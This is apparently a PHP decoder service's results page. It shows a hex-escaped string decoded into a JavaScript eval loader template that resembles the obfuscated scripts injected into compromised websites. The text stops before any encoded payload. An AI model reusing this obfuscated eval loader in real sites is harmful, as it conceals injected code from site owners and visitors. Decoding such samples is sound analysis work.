Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
\x76\x61\x72\40\137\60\x78\x63{$rand}\x65\75\x5b\42\x22\54\42\x73\160\154\x69\164\42\x2c\x..
Decoded Output download
<? var _0xc{$rand}e=["","split","0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/","slice","indexOf","","",".","pow","reduce","reverse","0"];function _0xe{$rand1}c(d,e,f){var g=_0xc{$rand}e[2][_0xc{$rand}e[1]](_0xc{$rand}e[0]);var h=g[_0xc{$rand}e[3]](0,e);var i=g[_0xc{$rand}e[3]](0,f);var j=d[_0xc{$rand}e[1]](_0xc{$rand}e[0])[_0xc{$rand}e[10]]()[_0xc{$rand}e[9]](function(a,b,c){if(h[_0xc{$rand}e[4]](b)!==-1)return a+=h[_0xc{$rand}e[4]](b)*(Math[_0xc{$rand}e[8]](e,c))},0);var k=_0xc{$rand}e[0];while(j>0){k=i[j%f]+k;j=(j-(j%f))/f}return k||_0xc{$rand}e[11]}eval(function(h,u,n,t,e,r){r="";for(var i=0,len=h.length;i<len;i++){var s="";while(h[i]!==n[e]){s+=h[i];i++}for(var j=0;j<n.length;j++)s=s.replace(new RegExp(n[j],"g"),j);r+=String.fromCharCode(_0xe{$rand1}c(s,e,10)-t)}return decodeURIComponent(escape(r))}(" ?>
Did this file decode correctly?
Original Code
\x76\x61\x72\40\137\60\x78\x63{$rand}\x65\75\x5b\42\x22\54\42\x73\160\154\x69\164\42\x2c\x22\x30\61\62\63\x34\65\66\67\70\x39\141\142\143\x64\145\x66\x67\150\151\152\153\x6c\155\156\x6f\x70\161\x72\163\164\165\166\167\x78\171\172\101\x42\103\104\105\106\107\110\111\112\x4b\x4c\115\x4e\117\120\121\x52\123\x54\125\x56\x57\130\131\x5a\x2b\x2f\x22\x2c\42\x73\x6c\x69\143\145\x22\54\x22\x69\x6e\x64\x65\170\x4f\x66\42\x2c\x22\x22\54\42\x22\x2c\42\56\42\x2c\42\160\157\167\42\54\x22\162\145\144\165\x63\x65\42\x2c\42\x72\x65\x76\145\162\163\145\42\x2c\x22\60\x22\x5d\73\x66\x75\x6e\143\x74\151\157\x6e\40\x5f\x30\170\x65{$rand1}\x63\50\144\54\145\54\x66\51\x7b\166\x61\x72\x20\x67\75\137\x30\x78\x63{$rand}\145\133\x32\x5d\x5b\x5f\60\x78\143{$rand}\145\133\x31\x5d\x5d\x28\x5f\x30\x78\143{$rand}\145\133\x30\x5d\x29\x3b\x76\x61\x72\x20\150\75\x67\x5b\x5f\x30\x78\143{$rand}\x65\x5b\63\x5d\x5d\x28\x30\x2c\145\x29\73\166\141\x72\40\151\75\x67\133\137\60\170\x63{$rand}\145\x5b\x33\x5d\135\x28\60\x2c\146\51\73\x76\141\x72\x20\152\75\144\x5b\137\x30\x78\x63{$rand}\145\133\61\135\x5d\x28\x5f\60\170\143{$rand}\145\133\60\135\51\133\x5f\x30\170\x63{$rand}\x65\133\x31\x30\135\x5d\50\51\x5b\137\x30\170\x63{$rand}\x65\x5b\x39\135\x5d\x28\146\x75\156\x63\x74\151\x6f\x6e\50\x61\x2c\x62\54\x63\x29\x7b\x69\x66\50\150\133\137\60\170\x63{$rand}\145\x5b\64\135\x5d\50\142\x29\41\75\x3d\x2d\x31\51\162\x65\x74\x75\162\x6e\40\x61\x2b\75\150\133\137\60\170\143{$rand}\x65\133\x34\135\135\x28\142\51\52\x28\x4d\x61\x74\150\133\x5f\x30\x78\143{$rand}\x65\x5b\x38\x5d\135\50\145\x2c\143\51\x29\x7d\x2c\x30\51\73\166\141\162\40\x6b\75\137\x30\x78\x63{$rand}\x65\x5b\x30\135\x3b\167\x68\151\x6c\145\x28\152\76\60\51\173\x6b\x3d\x69\x5b\x6a\45\146\x5d\x2b\x6b\73\152\75\50\x6a\x2d\x28\x6a\45\x66\x29\51\x2f\146\x7d\x72\145\x74\165\x72\x6e\x20\153\174\174\137\60\x78\x63{$rand}\x65\133\61\x31\135\175\145\x76\x61\154\x28\146\x75\x6e\143\x74\151\157\156\50\x68\54\165\x2c\156\54\x74\x2c\x65\54\x72\x29\173\162\75\42\42\x3b\x66\157\x72\50\x76\x61\162\x20\x69\x3d\x30\x2c\154\x65\x6e\x3d\150\56\x6c\x65\156\147\x74\x68\x3b\x69\74\154\145\156\73\x69\53\53\x29\x7b\x76\x61\162\x20\x73\x3d\x22\42\x3b\x77\150\151\x6c\x65\x28\x68\133\x69\x5d\x21\75\75\156\133\145\135\x29\173\163\x2b\75\x68\133\151\135\x3b\151\x2b\53\x7d\x66\x6f\162\50\166\141\x72\x20\152\x3d\60\73\x6a\x3c\x6e\56\154\x65\156\147\x74\150\73\x6a\53\x2b\x29\x73\75\x73\x2e\x72\145\x70\154\141\143\145\50\156\x65\x77\40\x52\145\x67\x45\170\x70\50\x6e\133\x6a\135\54\42\147\42\x29\x2c\152\x29\73\x72\x2b\75\x53\x74\x72\x69\156\147\56\x66\162\x6f\x6d\x43\x68\x61\162\103\157\x64\145\50\137\x30\x78\x65{$rand1}\x63\50\163\54\145\54\x31\x30\x29\55\164\51\x7d\x72\x65\164\x75\162\x6e\x20\144\145\x63\x6f\x64\145\x55\x52\x49\x43\x6f\x6d\x70\x6f\x6e\145\x6e\164\50\145\163\143\141\160\145\x28\x72\x29\51\175\50\x22
Function Calls
None |
Stats
MD5 | 39374d27ddf0b69d49c15be07fccdb58 |
Eval Count | 0 |
Decode Time | 92 ms |